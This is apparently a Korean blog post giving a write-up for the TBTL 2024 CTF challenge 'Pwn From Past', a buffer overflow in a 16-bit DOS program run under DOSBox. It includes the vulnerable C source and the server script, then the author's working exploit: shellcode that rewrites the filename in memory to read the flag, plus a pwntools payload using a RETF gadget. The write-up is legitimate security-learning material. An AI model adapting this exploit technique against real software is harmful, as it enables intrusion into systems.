인기 검색어

Hacking

TBTL 2024 CTF - Pwn From Past ( 4 solved) writeup

  • -

Chall.cpp

// Built using Borland C++ 3.0 -- still the best IDE produced by humankind.
// <https://winworldpc.com/download/52dfb385-9ba2-11e9-ab10-fa163e9022f0>
//
// bcc -v CHALL.CPP 
//

#include 

int main() {
  char name[32];
  FILE *input = fopen("input.txt", "rt");
  FILE *output = fopen("output.txt", "wt");

  if (!input) {
    printf("Error opening input file!");
    return 1;
  }
  if (!output) {
    printf("Error opening input file!");
    return 1;
  }

  fscanf(input, "%[^ ]s", name);
  fprintf(output, "Hello %s\\n", name);
  
  fclose(input);
  fclose(output);
  
  return 0;
}

Serv.py

#!/usr/bin/python3

import base64
import os
import shutil
import signal
import subprocess
import tempfile

def myprint(s):
    print(s, flush=True)

def handler(_signum, _frame):
    myprint("Time out!")
    exit(0)

def main():
    signal.signal(signal.SIGALRM, handler)
    signal.alarm(10)

    myprint("Enter contents for INPUT.TXT (base64): ")
    contents = input()
    try:
        data = base64.b64decode(contents)
    except Exception as e:
        myprint("Error decoding contents ({}).\\n".format(e))
        exit(0)

    tmp_dir = tempfile.mkdtemp(dir="./run")
    shutil.copy("flag.txt", os.path.join(tmp_dir, "FLAG.TXT"))
    shutil.copy("RUN.BAT", os.path.join(tmp_dir, "RUN.BAT"))
    shutil.copy("CHALL.EXE", os.path.join(tmp_dir, "CHALL.EXE"))
    input_filename = os.path.join(tmp_dir, "INPUT.TXT")  
    input_file = open(input_filename, "wb")
    input_file.write(data)
    input_file.close()

    cmd = ["/usr/bin/dosbox", "-c", f"MOUNT C {tmp_dir}", "-c", "C:\\RUN.BAT"]
    env = {"SDL_VIDEODRIVER": "dummy"} # Supress dosbox GUI
    myprint(f"Running {' '.join(cmd)}")
    subprocess.check_output(cmd, env=env)

    try:
        output_filename = os.path.join(tmp_dir, "OUTPUT.TXT")  
        output_data = open(output_filename, "rb").read()
        myprint("Your OUTPUT.TXT: {}".format(base64.b64encode(output_data).decode()))
    except FileNotFoundError:
        myprint("Program did not produce OUTPUT.TXT")

if __name__ == "__main__":
    main()

바이너리를 살펴보면, input.txt를 fscanf로 불러오면서 BOF가 발생한다.

x86이나 ARM같은 익숙한 환경이었다면 참 쉬운 문제가 되었을텐데, 위에서 볼 수 있 듯 DosBox를 통한 16비트 환경에서 돌아가기에 문제가 조금 어려워진다.

Analysis & Strategy

일단 컴파일 된 바이너리를 Ghidra로 뜯어보면, C++ 소스와 다르게 저런 식으로 Fopen과 파일 이름을 불러오게 된다(FUN_1000_1852 함수) 그리고 두 개의 16진수를 인자로 받는데 나는 저 두 인자가 뭔지 몰랐으나, 팀원의 도움으로 16비트 OS에서 File관련 I/O 함수를 사용할 떄, 데이터 구조체(파일 이름 등)을 Data Segment + 특정 오프셋에 저장한다고 한다.

흠.. 그래서 Data Segment + 0xaa ~ 0xb4에 뭐가 있나? 하고 보니까 input.txt가 저장되어 있는 것을 확인할 수 있었다. 그렇다면 어떻게든 Data Segment의 0xaa부터 0xb4의 input.txt라는 문자열을 flag.txt로 바꾼 다음 다시 main으로 돌아오면 Output에 Flag가 포함 된 파일이 있을 것이라고 가정하고, 문제를 풀려고 시도하였다.

Process…

일단 BOF를 성공한다고 해도, 16비트 프로그램에서는 Libc가 없기 떄문에.. syscall로 ROP를 하거나 혹은 쉘코드를 사용해야한다.

  • 그러나 왠진 모를 이유로 32바이트(Name의 바이트) + 8바이트 이후에는 Fscanf가 더 이상 읽지 않는 것을 보여줬다. → 아마도 output.txt의 File구조체와 관련이 있는 것 같다고 유추했다.
    • 처음에는 dosbox에 NX가 걸려있는 줄 알았으나, NX가 작동하지 않았기에 Shellcoding을 해서 Jump to Shellcode를 하면 되겠다고 생각했다.

How 16bit Program working?

  • 일단 16 bit같은 경우는 Segment:address와 같은 형식으로 메모리에 접근하게 된다.
  • 그렇기에, Jmp-to-Shellcode(stack)을 하기 위해서는, Stack으로 Ret하기 위해 현재 CS를 SS로 조작해야한다. (CS + 스택에 있는 Ret주소로 점프하기 떄문)
    • 그렇다면, 어떻게 CS를 조작할 수 있을까…?
      • RETF !!!!!!
      RETF를 만나면 스택에서 두 워드를 꺼내 처음꺼낸건 IP에 넣고 두번째 꺼낸건 CS에 넣는다.[출처] RETN or RETF|작성자 박호진
    • CS:IP는 항상 다음에 실행할 명령어를 가리키므로 당연히 점프가 된다.
  • 그렇다면 최종 체인은 Shellcode(padding with 34) + retf Gadget이 되게 된다.

Exploit

💡 왠진 모르겠지만, DosBox환경에서 DosBox Debugger을 부착했을 떄 CS와 SS가 실제 환경과 MisMatch되는 기현상이 일어났다.. 그래서 CPU Cycle을 1로 설정해서 매우매우 느리게 실행되게 바꿔놓고, 수동으로 BP를 설치하여 Runtime-Debugging을 시도하여 CS와 SS를 알아냈다.

Shellcode

ORG 100h
mov byte [ds:0xaa], 0x2f
mov word [ds:0xab], 0x6c66
mov word [ds:0xad], 0x6761
mov ax, 0x1A2 ; 다시 Main으로 돌아가기 위한 실제 .text CS
push ax
mov ax, 0x291 ; Main Offset From CS
push ax
retf
from pwn import *
from base64 import *
exfile = open('input.txt','wb')
shellfile = open('code.com','rb')
shellcode = shellfile.read()
payload = shellcode.ljust(34,b'a')
payload += p16(0x91c) #retf gadget
payload += p16(0xFFD6)#IP
payload += p16(0x03DA)#CS
exfile.write(payload)
data1 = b''
encoded_data = base64.b64encode(payload)
print(payload)
print(encoded_data)

'Hacking' 카테고리의 다른 글

Codegate 2024 Junior Prequal Writeup  (3) 2024.06.14
2024 IRIS CTF Write UP - 35th place  (1) 2024.01.14
2023 Hacking Championship WriteUp - 2nd place  (1) 2023.11.22
2023 JBU CTF WriteUP  (4) 2023.11.21
Contents

포스팅 주소를 복사했습니다

이 글이 도움이 되었다면 공감 부탁드립니다.